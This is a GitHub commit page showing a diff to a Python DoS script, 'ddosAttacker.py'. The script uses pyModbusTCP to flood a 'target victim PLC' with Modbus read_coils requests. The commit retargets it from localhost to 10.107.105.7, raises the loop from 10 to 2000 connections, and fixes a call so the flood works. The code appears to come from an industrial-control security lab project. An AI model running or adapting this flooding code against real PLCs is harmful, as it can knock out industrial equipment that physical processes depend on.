Skip to content

Commit

Permalink
Update ddosAttacker.py
Browse files Browse the repository at this point in the history
fixed small bug of the ddos attack script
  • Loading branch information
LiuYuancheng authored Oct 6, 2023
1 parent c76d9a3 commit 57b4f60
Showing 1 changed file with 6 additions and 5 deletions.
11 changes: 6 additions & 5 deletions attack/ddosAttacker.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,24 +14,25 @@

import time
from pyModbusTCP.client import ModbusClient
count = 0
hostIp = '127.0.0.1'
count = 0
hostIp = '10.107.105.7'
hostPort = 502

print('Try to connect to the target victim PLC: %s' %str(hostIp))
print('Start PLC read request thread')
print('Start pLC write request thread')
timeVal = time.time()
for i in range(10):
for i in range(2000):
count +=1
print('Try connect to the PLC')
client = ModbusClient(host=hostIp, port=hostPort, auto_open=True)
reuslt = None
if client.open():
print("send 100 request.")
for i in range(100):
reuslt = client.client.read_coils(0, 4)
reuslt = client.read_coils(0, 4)
timeInt = time.time() - timeVal
print("PLC request sending frequency: %s" %str(100/timeInt))
print("PLC request sending frequency: %s" %str(1000/timeInt))
timeVal = time.time()
if not reuslt: print("connection rejected")
client.close()
Expand Down

0 comments on commit 57b4f60

Please sign in to comment.